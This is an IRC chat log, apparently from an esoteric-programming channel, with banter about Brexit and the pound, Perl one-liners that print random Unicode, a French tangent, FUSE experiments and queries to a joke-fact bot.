01:17:18 ̞ 01:17:32 always thought it was a neat similarity <-- surely you can pronounce it as rofly one syllable anyway 01:17:35 argh 01:17:40 `perl -euse List::Util"max"; print join" ",map{pack "C0U*",map{128+rand(1<<16-128)}0..max(rand(10),rand(11))}0..7; 01:17:42 ​㘍䃮浄ᦃ鼈퓔 ᢃ⻲簵⢰䌃ʗ 灌�듈⼡ 뼓껳膁봾匾蟲璡⥦ 祳ὕ̜촂䲾ਉᒣ䋫严ս 쮜ힱ篡꯫ 愍 껭𐁬ꆜ뭯橫晰㙃 01:17:43 * oerjan needs to remember to press ^C 01:17:51 `perl -euse List::Util"max"; print join" ",map{pack "C0U*",map{128+rand(1<<16-128)}0..max(rand(10),rand(11))}0..7; 01:17:52 ​ᚺ૩셠ꔞ 毀ﴟ曓뎵ꭊ茔䩙ᥔ䁉⟉ኰ 給▒肩ȓ鉝틻 ��⤐辨줳碧 䞅鷽⡰뼼ꚁ㍣ꯦ 鲬孋첲鯹튬ଷ 枽岊贀⒕ꌯ ﴘ爸쿤㶽Ó͜ 01:18:07 <\oren\> I think they changed the order so you can pronounce it in one syllable <-- surely you can pronounce it as rofly one syllable anyway 01:20:22 `perl -euse List::Util"max"; print join" ",map{pack "C0U*",map{128+rand(1<<16-128)}0..max(rand(10),rand(11))}0..7; 01:20:23 ​袐ᇹ膍ﻤ暴 沇䦶뽀쯳㰖샭퉂箲 䩡랜虾抡꼏᱌慌⁂ 끄炶뱶릌쟡恌洺୫淓 撒㝩큿欘ܴ᳐䞗쭵댻 鯙䇢˫ 솔갱㣹Ʋ㿽뺷 ꍽ븿ࣻቘ騚ᲈྭ 01:23:20 @massages-lud 01:23:20 oerjan said 57m 55s ago: Are there any problems that are /literally/ unsolvable on CCs but not on QCs? <-- no hth 01:23:38 oerjan: What about random number generation? 01:24:09 well you can consider that part of classical 01:24:43 of course this might depend on how you define "problem". 01:24:59 how annoyed would you be if some http server replied with 403 to any HEAD request but a GET request for the same content returned 200 ? 01:25:45 wouldn't that like totally ruin all browser caching 01:25:54 indeed 01:26:37 looks like it's time to send a NUKE request, then. 01:26:50 yeah 01:28:29 * izabera just wanted to know the size of the windows installer for supertux but it's impossible to know 01:28:42 `perl -euse List::Util"max"; print join" ",map{pack "U*",map{128+rand(1<<16-128)}0..max(rand(10),rand(11))}0..7; 01:28:45 Wide character in print at -e line 1. \ �梔翪纞싩텎蹱塞픒ਅ 枾䚋樂ᄕ꨻娅♰ 䞆胚遰ꩥ㩶 픮쵌ⵔ卣퐲팊陋弖흘 僯㷠鞰쌵쩶薭 䆈좆蘷欐᜽䅗䏩懪恟 巴⛝境蜈प൨僼ᡖ 唑民桫斬�泲賈�뙦 01:28:59 `perl -euse List::Util"max"; print join" ",map{pack "C0U*",map{128+rand(1<<16-128)}0..max(rand(10),rand(11))}0..7; 01:29:00 ​䊈䴞꺁⸂₣ 業ҡଁ喆Ꮵ㏉袐誝薫蛇 뙥ꯞﱮ⣃ຏ︷䡨䛱 㹃ᄋ눃椑䠳 ꢟ秳찋쭀𐀛桞㎐ 졸䞇紂殠듭䘇﴿썂 蓲엶䃍ꭶ韓첫ꧧ䟙 䇾㑌騇︿ 01:29:43 oh noes, unicode! 01:30:06 * moon__ runs back off to square root of minus garfield 01:33:24 was on the phone and I get back to some kind of apocalyptic caractaclysm... 01:33:32 -!- spiette has quit (Quit: :qa!). 01:34:24 what the fungot is going on here... 01:34:24 boily: it was on tv. 3 01:34:32 fungot: I missed it, was on the phone. 01:34:32 boily: _they_ are after him. 01:34:36 fungot: I know! 01:34:36 boily: hmm.... i can't both read and scroll that page simultaneously. 01:34:50 fungot: me neither. my client's spewing nonsense on the screen. 01:35:25 -!- lambda-11235 has joined. 01:36:18 hellambda-11235. Do Not Logread. Ignore any Eldritch Nonsense that may have Happened. Preserve your Brain. Your Sanity is Valuable. 01:36:44 Feel free to spam a bit, though. 01:36:58 lovely spam ♪ 01:36:59 All that nonsense is messing up my terminal. 01:37:05 you don't say. 01:37:11 So I hope to have it scroll off the screen soon. 01:37:29 I'll write random ramblings in French. French Promotes Sanity. 01:37:47 bon, espérant que t'es capable d'afficher des lettres dans latin-1. 01:38:01 pas mal tout le monde aujourd'hui sont capable de se communiquer de même. 01:38:14 tout le monade? 01:38:36 tsé, pas trop difficile... quelques é pis des à à travers, pis un ç si t'es malchanceux. c'est vrai que tu peux voir des trémas aussi, mais ça arrive juste dans le maïs pis à Noël. 01:38:43 shachaf: French is Functional hth 01:39:17 ça me rappelle quand j'ai été pris pour prononcer des mos pas possibles. c'était tu du géorgien c'te fois-là? 01:39:22 y manquait un peu trop de voyelles. 01:39:28 shachaf: how many lines in your client? 01:39:51 j'aime bien les voyelles. ça fait une bonne source de mangulation pour être phonétiquement créatif. 01:40:05 plein de langues dans le monde sont débalancées. c'est pas très feng shui. 01:40:11 ~50 right now. 01:40:33 helloily 01:40:39 d'un bord t'as le croate, qui est juste aberrant à mon avis, pis de l'autre t'avais c't'affaire de genre de cossin vaguement pseudo-new-age. 01:40:46 aUI que ça s'appelait? 01:40:46 care package is away. cross your fingers. 01:41:14 quinthellopia! care package will be sent quelque part this weekend. cross any crossable extremities you may currently possess! 01:41:26 shachaf: good. 01:41:36 m'a continuer debord à raconter n'importe quoi. 01:41:49 i would love to know what all that french crap says! 01:41:58 quintopia: not important :P 01:42:08 it's only there for shachafscrolling :D 01:42:19 also, not sure Google Translate likes me... 01:42:45 c'est comme les fois où oerjan se met à écrire en dialecte norvégien inusité. GT en arrache une shot à chaque fois... 01:42:59 je pense que dans les langues sérieuses, le support du japonais est le plus nul à chier. 01:43:15 i still want to know. it seems interesting. 01:43:18 tsé veut dire, t'as des particules pour tagguer les bouttes de phrases! tu peux pas te tromper! 01:43:33 quintopia: ok, let's translate! 01:44:04 “good, hoping that you're able to display letters in latin-1” 01:44:20 i'm guessing "tse veut dire" means roughly "y'know"? 01:44:22 “just about everybody today can communicate this way” 01:44:27 quintopia: yup. 01:45:16 Is there a parody of Creative Commons? e.g. Annihilative Commons? 01:45:20 “y'know, not too difficult. a few é with some à mixed in, with a ç if you're unlucky. it's true you can see diæresises, but it only happens in corn (maïs) and during Christmas (Noël).” 01:45:52 “that reminds me of that time I was stuck pronouncing unpossible words. was it Georgian that time?” 01:46:11 “lots of world languages are imbalanced. that's not really feng shui.” 01:46:54 “on one hand you have Croatian, which is just abhorrent in my opinion, and on the other hand you had that gizmotic thingie vaguely pseudo-new-age.” 01:47:03 “aUI it was called?” 01:47:21 it's called lojban 01:47:29 “[untranslatable] to tell ramblings.” 01:48:09 “that's like the times where oerjan starts writing in unusual Norwegian dialect. GT [untranslatable] every time...” 01:48:09 boily: wait, you left out the part about too few vowels (in georgian I think) 01:48:23 b_jonas: I did? 01:48:23 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 01:48:44 boily: are you just copypastaing? i feel like a human should never have [untranslatable] 01:49:11 “I thing that in [GT's] serious languages, Japanese support is the absolute worst” (exact wording is colloquial and vulgar) 01:49:38 ”y'know, you've got particles for tagging sentence fragments! you can't get lost!” 01:49:55 yes 01:50:07 what is GT 01:50:09 oh google 01:50:14 quintopia: google trans 01:50:15 yes that 01:50:40 what might en arrache une shot be? 01:51:20 `? steam sale 01:51:22 steam sale? ¯\(°​_o)/¯ 01:51:40 to experience trouble? to hardly manage by? to get it done by the seat of your pants, but not even that? 01:53:11 `le/rn steam sale/When money is heated to such high temperatures it evaporates and then condenses into games you will never play. 01:53:16 Learned «steam sale» 01:53:30 to get it done with some difficulty? to struggle through? 01:54:46 oerjan: Can you believe we used to not have le/rn? 01:54:57 `? le/rn 01:54:58 le/rn makes creating wisdom entries manually a thing of the past. 01:55:01 `? learn 01:55:03 ​`learn creates a wisdom entry and tries to guess which word is the key. Syntax (case insensitive): `learn [a|an|the] [s][punctuation] [...] 01:55:09 `? le//rn 01:55:11 le/rn makes creating wisdom entries manually a thing of the past. 01:55:20 `? thanks 01:55:22 thanks? ¯\(°​_o)/¯ 01:56:01 quintopia: something like that. 01:56:57 boily: are you just copypastaing? i feel like a human should never have [untranslatable] <-- perhaps boily is secretly a super-happy alien 01:57:57 again, I'm not a squirrel! 01:58:35 oerjan: Can you believe we used to not have le/rn? <-- you mean when people actually put the key in the wisdom? 01:58:55 oerjan: frankly, i always thought the super-happies had the superior society. Even though I'm not a huge fan of babykilling I always found the "bad ending" somehow more satisfying. 01:58:57 oerjan: Well, that wouldn't have worked for steam sale anyway. 01:59:45 `slwd steam sale//s/./A steam sale is w/ 01:59:48 wisdom/steam sale//A steam sale is when money is heated to such high temperatures it evaporates and then condenses into games you will never play. 01:59:49 WATCH ME 02:00:05 oerjan: I mean that `learn wouldn't have worked. 02:01:21 <\oren\> YAAAAAAY I sucessfully got into orbit and returned with my first SSTO 02:01:38 \oren\: KSP? 02:01:44 * boily WATCHES OERJAN OKAY 02:02:11 boily: what is the relationship between auberges and aubergines? 02:02:17 <\oren\> yup 02:03:03 quintopia: i'm just wondering what kind of mess would evolve as the super-happies keep meeting more and more alien societies... eventually some truly irreconcilable value systems seem inevitable. 02:03:20 <\oren\> I made a plane that can fly into orbit, return and land at the space center runway, thus only taking the cost of fuel. 02:03:40 quintopia: the first is an inn, the latter an auberginn. 02:04:01 * boily autmapoles himself in abject disgust. 0.25 shachafs. 02:04:17 boily: YOU CAN STOP WATCHING NOW 02:04:24 OKAY 02:04:33 `? oily 02:04:34 oily? ¯\(°​_o)/¯ 02:04:39 `? _jonas 02:04:40 _jonas? ¯\(°​_o)/¯ 02:06:35 -!- augur has quit (Remote host closed the connection). 02:07:13 boily: huh. i thought maybe eggplants only grew at inns 02:07:40 auberge: Du moyen français alberge, de l’ancien occitan alberga, altération de l’ancien bas vieux-francique *heriberga « loge des soldats, caserne » (cf. néerlandais herberg), apparenté à l'allemand Herberge, à l'anglais harbor « havre, darce ». 02:07:59 aubergine: Du catalan albergínia, de l’arabe andalou baḏinǧána, celui-ci de l’arabe باذنجان, bādiljān, originaire du persan بادنجان, bātingān, probablement du sanskrit वातिगगम, vātigagama. 02:08:00 -!- jaboja has quit (Remote host closed the connection). 02:08:25 oerjan: assuming there are more andf more alien societies...but how much more irreconcilable can you get than "the thing you consider the most good in the world is the thing we consider right up among the most appalling"? 02:09:32 quintopia: seems that the two concepts are orthogonal. one's germanic, the other sanskrit. 02:09:39 i feel like they'd figure out a way to reconcile any differences; they have the technology! 02:11:43 I'm growing a plant this year. there's already one! still small, but it's going to be tasty! :D 02:12:10 you're living in an inn???? 02:14:02 ... 02:14:05 i wonder if steam will mail me if an already discounted game goes on a daily sale 02:15:20 `recipe 02:15:21 ​ Cooked finely chopped \ 2 c Water \ 1/4 c Cooked chile \ 1 ds Salt \ 1/4 ts Ground cinnamon \ 1 ts Salt \ 2 ts Salt \ 1 1/2 ts Sugar \ 6 oz Bouillon shredded \ 4 Eggs, beaten \ 1 c Dark tomato sheets \ 1 c Granulateds sugar, sliced \ 1 ts Sugar \ \ MMMMM----------------------------CRUST------------------------------ \ 2 ts Worcest 02:15:53 `recipe 02:15:53 ​ pn Salt \ 1 ts Cayenne pepper \ Salt \ 2 tb Flour \ 1/2 c Sugar \ 2 ts Salt \ 2 pk Yeast \ 1 lg Onion, chopped \ Salt and pepper \ And seeded and drained \ 2 tb Lemon juice \ And chopped \ Freshly ground black pepper \ Salt and pepper \ Salt \ --freshly ground black pepper \ 1/4 ts Cayenne \ 1 dl Basil \ 4 tb Butter or margari 02:16:33 suddenly predictwise is heavily betting that the brexit will happen. looks like it could be one big bettor? http://predictwise.com/politics/uk-politics 02:16:54 b_jonas: is that some kind of fungot recipe generator? 02:17:31 `? recipe 02:17:33 Random food recipes at https://gist.github.com/nylki/1efbaa36635956d35bcc 02:17:38 boily: ^ 02:19:33 fungot recpie generator it is ^^ 02:29:17 so...bon soily? 02:29:39 yup, time to hit the sack. 02:29:43 bonnnuitopia! 02:29:44 nainai 02:29:57 -!- boily has quit (Quit: CRAWLER CHICKEN). 02:33:00 -!- moon__ has quit (Ping timeout: 250 seconds). 02:33:11 -!- iaglium has quit (Ping timeout: 240 seconds). 02:41:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 02:41:40 -!- bender__ has joined. 02:42:12 -!- myndzi\ has quit (Ping timeout: 276 seconds). 02:43:40 -!- bender__ has quit (Client Quit). 02:47:58 -!- augur has joined. 02:49:08 -!- zzo38 has joined. 03:55:57 <\oren\> GBP on track for nosedive! 04:09:14 So... Is now the time to short GBP hard? 04:11:40 Do you have nonpublic information? 04:12:18 No. 04:12:39 Hence my odds of doing better than the markets as a whole are... negligible. 04:13:12 -!- hppavilion[1] has joined. 04:15:01 Wait, there used to be a forum!? 04:15:11 https://esolangs.org/forum/ 04:18:38 yes. 04:19:47 it was pretty much 99% spam at the end. 04:20:14 (not just because there was so much spam but because there was so little real posting) 04:20:44 there also, before that, used to be a mailing list. 04:24:58 oerjan: when was the forum put online? 04:25:33 `recipe 04:25:38 oiling water and cherries and each of the heat as order \ cooking. Bake at 350 degrees for 5 to 5 minutes. Beat the peas, and chopped onions \ and the cheese chopped onions. Add the bay leaf, salt, and cinnamon \ color. Pour over medium-high heat. \ \ Serve with a cups buttered 1 inch cubes. remove from heat, and refrigerate. \ \ For a pie 04:27:44 <\oren\> Trying to land a refueling station on Minmus 04:29:26 tswett: i dunno 04:54:23 55 out of 100 on privledge. 04:54:35 Whoo! I got an F and can thus play the privilege card! 05:02:26 <\oren\> Sterling falls below 1.35 USD 05:02:41 <\oren\> hppavilion[1]: on wat? 05:07:30 -!- augur has quit (Remote host closed the connection). 05:12:43 If I understand correctly, this means tourism there should be cheap, right? 05:14:51 -!- Kaynato has quit (Ping timeout: 264 seconds). 05:16:00 <\oren\> Yes 05:16:12 <\oren\> hppavilion[1]: 92 05:16:15 <\oren\> I go 92 05:16:19 <\oren\> *got 05:16:44 <\oren\> i dunno which test you went with though 05:20:11 -!- lambda-11235 has quit (Ping timeout: 240 seconds). 05:20:25 `recipe 05:20:26 l, combine the baking soda \ and the flour to the mayo. \ \ Spread the filled steaks, cake container and paper over hot water, and place the spinach \ and the garlic are electric mixer until dough is a few \ soft. Cover the fruit before serving. In a medium saucepan, combine all the \ oil in a preheated oven for about 15 minutes. \ \ Add 05:21:43 :-( :-( 05:27:36 -!- lambda-11235 has joined. 05:32:38 http://www.bloomberg.com/quote/GBPUSD:CUR 05:32:47 . o O ( some people in scotland are going to regret their previous vote ) 05:33:07 We can bet on a new referendum in Scotland soon. 05:33:40 Freude, schöner Götterfunken, Tochter aus Elysium... 05:40:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 05:40:59 https://www.dailyfx.com/gbp-usd -- better graph 05:41:26 -!- hppavilion[1] has joined. 06:04:54 :-( :-( :-( 06:07:00 b_jonas appears to be sad 06:07:49 I guess we'll have to relearn wisdom/brexit 06:17:25 -!- augur has joined. 06:21:42 -!- adu has quit (Quit: adu). 06:38:23 <\oren\> `? brexit 06:38:26 brexit is like a break, except when there's no surrounding loop, in which case it's like an exit. 06:43:03 <\oren\> what happens if you . /dev/null? 06:43:41 <\oren\> nothing. aww... 06:50:25 -!- oerjan has quit (Quit: Nite). 06:51:47 Gah, now I'm stuck on the Calculus of Variations 06:52:11 b_jonas: Did brexit britain? 06:56:00 In a 4D universe, would we have 2D roads? 06:56:14 -!- lambda-11235 has quit (Quit: Bye). 06:58:03 I have read about Brexit in newspaper recently and now found an article about Brexit also in Wikipedia 06:59:58 (I just searched for "Brexit" on Wikipedia and it redirected to the correct article, so it was easy to find) 07:27:37 -!- augur has quit (Remote host closed the connection). 07:34:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 07:42:59 -!- impomatic has quit (Ping timeout: 244 seconds). 07:50:15 -!- Frooxius has quit (Quit: *bubbles away*). 07:50:42 -!- Frooxius has joined. 07:51:45 "brexit" is a scowmanteau 07:55:12 if brexit were a Posix function, what would it do? 07:58:23 Combination brk/exit? 07:58:29 Doesn't seem very useful. 08:01:00 int-e: badass really exit, more severe version of _exit 08:01:10 probably wired to syscall(SYS_exit, 1) 08:02:29 exits the parent process as well 08:03:09 -!- Destructible has joined. 08:03:17 hoi 08:09:52 saying hi every time you join is not mandatory 08:10:14 especially when you join many times every day 08:12:47 ok. 08:12:49 noted 08:20:40 oh, more wonderful news https://www.eff.org/deeplinks/2016/06/federal-court-fourth-amendment-does-not-protect-your-home-computer 08:25:44 -!- Destructible has quit (Ping timeout: 250 seconds). 08:26:43 int-e: Is that amendment relevant to you? 08:37:15 -!- AnotherTest has joined. 08:43:28 `cat bin/recipe 08:43:35 ​#!/bin/sh \ exec perl -e 'local$/=\999;seek STDIN,rand((-s STDIN)-299),0 or die;print=~y/ \t/ /sr;' < share/recipe/recipes.txt 08:43:36 Oops, was scrolled up. 08:52:53 `? brexit 08:52:54 int-e: ^ 08:52:55 brexit is like a break, except when there's no surrounding loop, in which case it's like an exit. 09:13:36 Taneb: hugs are available in california hth 09:15:02 I'm feeling unwelcome due to that 'xit. 09:15:24 Also I hear people in Finland are already calling for a Fixit. 09:20:14 <\oren\> ok now that shortening is just absurd 09:20:26 <\oren\> Finnxit 09:20:37 <\oren\> is much better 09:20:57 fizzie: but it ain't broken 09:21:32 That's not reason not to fixit. 10:00:33 -!- gamemanj has joined. 10:08:52 -!- hppavilion[1] has joined. 10:14:20 -!- MoALTz has joined. 10:19:53 -!- Koen_ has joined. 10:22:38 fizzie: Fixit? I heard Finish 10:22:52 gamemanj: Huh. 10:23:28 Whoa, the UK has a thing called "The Shadow Cabinet" 10:24:40 shachaf: the amendment doesn't affect me directly... but such ideas are easily spread and adapted to other legal frameworks. 10:25:09 int-e: What ammendment? 10:25:36 b_jonas: part of the reason I asked is that that wisdom entry doesn't really satisfy me 10:34:28 <^v> literally every channel is going crazy with brexxit 10:34:52 <^v> 51.9% 10:37:13 ^v-- # abuse of "literally" 10:43:07 brexit's driving the world insane 10:43:36 someone get a microwave, 10:43:39 a CRT, and a phone 10:46:23 What will you then do with those devices? 10:47:35 * gamemanj gets out a sheet marked "KNOWLEDGE INFORMATION SHEET ID 'zzo38'", goes to a particular row, and checks the box marked "Does not know" 10:48:06 * gamemanj then puts the sheet back 10:48:58 https://www.reddit.com/r/steinsgate/comments/3h2prn/can_someone_explain_to_me_how_the_microwave_o/ seems relevant 10:48:59 "Obama Administration Orders Apple to Ignore the Laws of Math" 10:49:26 @google microwave crt phone 10:49:28 http://anime.stackexchange.com/questions/21064/how-does-the-steinsgate-phone-microwave-work 10:49:28 Title: How does the Steins;Gate phone microwave work? - Anime & Manga Stack Exchange 10:50:38 * int-e is more surprised to learn that there is an anime stackexchange than about the fact that google made sense of this combination of keywords :P 10:50:52 ... 10:50:57 actually that is very surprising 10:54:55 Huh. From the unicode 9.0 update: “An uppercase Latin letter was added, U+A7AE LATIN CAPITAL LETTER SMALL CAPITAL I, forming a case pair with an existing lowercase letter, U+026A LATIN LETTER SMALL CAPITAL I, for which a different uppercase counterpart had been recommended, but not formally mapped, prior to Unicode 9.0.” 10:55:24 I wish I knew the reasoning there. 10:55:32 `unidecode U+A7AE 10:55:48 ​[U+0055 LATIN CAPITAL LETTER U] [U+002B PLUS SIGN] [U+0041 LATIN CAPITAL LETTER A] [U+0037 DIGIT SEVEN] [U+0041 LATIN CAPITAL LETTER A] [U+0045 LATIN CAPITAL LETTER E] 10:55:49 `unidecode U+026A 10:55:55 ... 10:55:55 ​[U+0055 LATIN CAPITAL LETTER U] [U+002B PLUS SIGN] [U+0030 DIGIT ZERO] [U+0032 DIGIT TWO] [U+0036 DIGIT SIX] [U+0041 LATIN CAPITAL LETTER A] 10:56:01 `unicode U+026A 10:56:04 ​ɪ 10:56:09 `unicode U+A7AE 10:56:09 ​Ɪ 10:56:23 `unidecode ɪꞮ 10:56:27 U+026A LATIN LETTER SMALL CAPITAL I \ UTF-8: c9 aa UTF-16BE: 026a Decimal: ɪ \ ɪ \ Category: Ll (Letter, Lowercase) \ Bidi: L (Left-to-Right) \ \ U+A7AE - No such unicode character name in database \ UTF-8: ea 9e ae UTF-16BE: a7ae Decimal: Ɪ \ Ɪ (Ɪ) \ Uppercase: U+A7AE \ Category: Cn (Other, Not Assigned) 10:58:50 Oh, here we go. The African Reference Alphabet uses ɪ as a separate letter, which needs an uppercase form (distinguished from I by always having crossbars). 10:59:46 Though the graphical distinction isn’t necessary, really; it suffices that it is semantically separate and that it needs to toLower to ɪ. 11:03:47 Hm. Apparently only the 1978 version had that, while the 1982 revision replaced it with Latin Iota (Ɩ, ɩ). 11:03:53 [wiki] [[Hexagony]] https://esolangs.org/w/index.php?diff=47245&oldid=47017 * 163.116.6.90 * (+3) Fixed typo : 3 occurences of "centred" instead of "centered" 11:04:38 That’s not a typo, that’s commonwealth spelling, I’m pretty sure. <ω< 11:04:38 what's wrong with "centred"...? 11:05:18 ok, compromise 11:05:24 centreed 11:11:00 asie: The "fixit" name was independently discovered by myself, but I afterwards learned people had been using it. I'm sure there's alternatives as well. 11:23:20 `? fixit 11:23:35 fixit? ¯\(°​_o)/¯ 11:34:58 -!- rntz has quit (Ping timeout: 244 seconds). 11:37:37 Some tweet suggested "Finish" 11:41:15 i'm playing with fuse, how do i keep a fd open to a real file outside my fs? 11:41:54 from my open i'm assigning the fd to fuse_file_info->fh 11:42:03 but then i can't read 11:46:10 -!- rntz has joined. 11:53:08 -!- Koen__ has joined. 11:56:12 -!- Koen_ has quit (Ping timeout: 260 seconds). 11:59:00 oh i had to set the size apparently 11:59:07 ah this makes sense 12:01:49 yay it works 12:06:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 12:13:53 ok so: if i create a regular file, i can't set 0 as its size and can't read past its size in any way 12:14:24 if i create a fifo, write is never performed and all i get is the same data i wrote on it 12:15:14 block/character devices, i can't open them with a simple redirection in bash with a non root user 12:15:28 and i can never open a socket with a redirection in bash 12:16:51 is there a way to simulate something like /dev/urandom with fuse? generating data when read is performed 12:18:19 mmh, i can't even open block/character devices with root... 12:18:23 must be doing something wrong 12:23:20 -!- hppavilion[1] has joined. 12:24:02 Hah! A company banning their employees from sending encrypted email! 12:24:04 ah i see, fuse won't let me create block devices at all, and i need special options to create character devices 12:24:11 hppavilion[1]: what company? 12:24:15 Sounds like Donald Knuth's new place of employment 12:24:29 London's Southwark Council, it looks like? http://www.theregister.co.uk/2001/05/18/the_2001_daftas_most_pc/ 12:27:01 izabera: for block devices, try "abuse", though it doesn't seem to be a commonly compiled module... 12:28:18 (this: https://lwn.net/Articles/343514/ , if it's even in the kernel...) 12:28:32 thanks 12:29:05 there's also this solution which apparently just uses a network-block-device loopback: https://github.com/acozzette/BUSE 12:29:22 If I find that a set of rules contains a contradiction, can I use the principle of asplosion to do anything I want? 12:29:42 don't count on it 12:31:05 gamemanj: Can I at least be a massive pain in the ass? 12:31:12 they all require moar modules :( 12:31:38 Well, yes, but NBD is one you're likely to have 12:31:46 izabera: moar modules are a rather interesting area of abstract algebra 12:31:46 while abuse is not 12:31:54 They were invented by Taneb, iirc 12:32:30 hppavilion[1]: Is everything random invented by Taneb? 12:32:41 `? tanebventions 12:32:44 Melvar: No; Taneb invented determinism 12:33:01 Melvar: He invented the /lack/ of randomness 12:33:11 Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, Tanebventions, persistence, the BBC, progress, and this sentence. See also tanebventions: math. He never invents anything involving sex. 12:33:30 `? tanebventions: math 12:33:34 Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, Klein bottles, the reals, Lambek's lemma, pointless topology, and histograms. 12:34:21 `quote tori 12:34:24 367) oerjan, little do you realise that everything you say and do is part of that great monad tutorial we call life. \ 628) i don't lie, i tell stories there's no difference *a \ 866) Phantom_Hoover: I like how the Victorians hadn't quite figured out you were meant to name books something s 12:34:25 ...wait, Taneb invented the BBC? That explains why the news is always full of sad events with the occasional puppy... 12:34:42 gamemanj: It gets worse 12:34:50 `? necessity 12:34:54 If necessity did not exist, it would be necessary for Taneb to invent it. 12:35:01 Wait, where is it again? 12:35:21 error ERR_SUCCESS : contradiction! error 12:35:55 `` grep Taneb wisdom/* 12:36:09 grep: wisdom/le: Is a directory \ grep: wisdom/¯\(°_o): Is a directory \ grep: wisdom/¯\(°​_o): Is a directory \ wisdom/automatic squirrel feeder:Automatic squirrel feeders are just feeders in the category of automatic squirrels. Taneb invented them. \ wisdom/bbc:The BBC is the BreadBox Corporation. Its inventions include, without limitation, 12:36:22 `? bbc 12:36:24 The BBC is the BreadBox Corporation. Its inventions include, without limitation, Muppets and tiny elfs. Taneb invented it. 12:36:41 `` grep BBC wisdom/* 12:36:43 one day the "print text for error code" routine should be rewritten to make the success code return "Calling code cannot tell difference between error and success. If this is a message box, use a debugger to hotpatch the code so this doesn't occur again." 12:36:44 grep: wisdom/le: Is a directory \ grep: wisdom/¯\(°_o): Is a directory \ grep: wisdom/¯\(°​_o): Is a directory \ wisdom/a:A is _not_ a village in Norway, unless you're the BBC and don't understand things on top of letters. \ wisdom/Å:Å _is_ a village in Norway, unless you're the BBC and don't understand things on top of letters. \ wisdom/b: 12:37:16 oh, I thought Å was the point of origin 12:37:18 `` grep "did not invent" wisdom/* 12:37:21 grep: wisdom/le: Is a directory \ grep: wisdom/¯\(°_o): Is a directory \ grep: wisdom/¯\(°​_o): Is a directory \ wisdom/bdsm:BDSM definitely isn't a kind of LARP and Taneb definitely did not invent it. \ wisdom/fundamental theorem of taneb:The Fundamental Theorem of Taneb states that for all strings S, if S describes a thing, then it is prova 12:37:36 *sigh* 12:37:52 given the usual reliability of wisdom, that means Taneb did invent it 12:38:25 `? fundamental theorem of taneb 12:38:28 The Fundamental Theorem of Taneb states that for all strings S, if S describes a thing, then it is provable that Taneb invented the thing described by S; and, furthermore, that it is provable that there exists a string T that describes a thing that Taneb did not invent. 12:38:57 now that's contradictory 12:39:19 (S covers all strings, T exists and covers all strings not in S, but S covers all strings, so thus T cannot exist) 12:39:36 (unless "provable" != "true") 12:40:16 `` grep -l Taneb wisdom/* 12:40:25 grep: wisdom/le: Is a directory \ grep: wisdom/¯\(°_o): Is a directory \ grep: wisdom/¯\(°​_o): Is a directory \ wisdom/automatic squirrel feeder \ wisdom/bbc \ wisdom/bdsm \ wisdom/bogosort \ wisdom/boxmodel \ wisdom/chu space \ wisdom/ci \ wisdom/costume \ wisdom/curry's paradox \ wisdom/deniability \ wisdom/d-module \ wisdom/ehird \ wisdom 12:41:59 `` grep -l Taneb wisdom/* > share/tanebgrep 12:42:11 grep: wisdom/le: Is a directory \ grep: wisdom/¯\(°_o): Is a directory \ grep: wisdom/¯\(°​_o): Is a directory 12:42:21 `url share/tanebgrep 12:42:27 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/share/tanebgrep 12:42:35 `` grep Taneb wisdom/* > share/tanebgrep 12:42:56 grep: wisdom/le: Is a directory \ grep: wisdom/¯\(°_o): Is a directory \ grep: wisdom/¯\(°​_o): Is a directory 12:43:15 `? progress 12:43:17 Progress has been made today. It was invented by Taneb. 12:44:10 `` grep BBC wisdom/* >> share/tanebgrep 12:44:14 grep: wisdom/le: Is a directory \ grep: wisdom/¯\(°_o): Is a directory \ grep: wisdom/¯\(°​_o): Is a directory 12:44:29 gamemanj: Found it 12:44:34 gamemanj: Taneb invented the BBC 12:45:11 `? nitia 12:45:15 nitia is the inventor of all things. The BBC invented her. 12:46:04 If the universe is divided into planck lengths 12:46:20 Which, I assume, are discrete, tiled, and minecrafty- almost certainly wrong, but I assume it 12:46:56 Then doesn't taxicab geometry say that going straight from point a to point b is always the same distance as going orthagonally to point b's x then to its y? 12:47:55 `? a brazillian 12:47:58 a brazillian? ¯\(°​_o)/¯ 12:48:03 `? brazillian 12:48:05 brazillian? ¯\(°​_o)/¯ 12:48:08 Only if you're able to move in single adjacent steps. 12:48:11 `? brazilion 12:48:14 brazilion? ¯\(°​_o)/¯ 12:48:18 `? brazillion 12:48:20 brazillion? ¯\(°​_o)/¯ 12:48:50 Well, that assumes specifically that the universe is anisotropic. It kinda looks like division into planck lengths would imply that, but it may not. Who knows how counterintuitive things get at small scales. 12:48:57 If working in something like the Moore neighborhood, it is quicker to take a step diagonally than west-then-north or north-then-west. 13:05:35 Literally Just Porn (GONE SEXUAL) 13:15:05 CHALLENGE: Find the most racist/sexist/homophobic/biphobic/transphobic/egalitarian/ableist/ageist/islamaphobic/anything else single proper sentence possible 13:16:18 ANSWER: hppavilion[1] is secretly Donald Trump, judging by the question this sentence answers. 13:16:48 hppavilion[1]: http://www.smbc-comics.com/index.php?id=4146 13:17:12 b_jonas: Affirmative? 13:27:37 -!- Oliver__ has joined. 13:27:50 "egalitatian" 13:27:51 -!- Oliver__ has left ("Leaving"). 13:27:57 "egalitarian"* 13:28:25 did I win? did I spot the intruder? 13:33:37 -!- FreeFull has quit (Quit: Reconnecting). 13:33:54 -!- FreeFull has joined. 13:41:39 \oren\: http://www.smbc-comics.com/index.php?id=2492 add these! 13:43:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 13:46:09 `wisdom 13:46:14 ham//Ham is a kind of meat. It is popular in Hexham, among other places. 13:51:22 -!- Destructible has joined. 13:51:24 I can confirm, I had a ham sandwich in Hexham today 13:53:44 hexhexhexhex/hex/hexhamhexhex/hexhamhexhex/hamhamham 13:54:25 ??? 13:58:11 -!- Sgeo_ has quit (Ping timeout: 240 seconds). 14:03:48 -!- Destructible has quit (Quit: Page closed). 14:31:44 -!- Sgeo_ has joined. 14:32:42 -!- bender__ has joined. 14:36:18 `wisdom 14:36:21 `random-card 14:36:32 imperative language//Imperative languages tell you what to do. 14:36:33 Death's Shadow \ B \ Creature -- 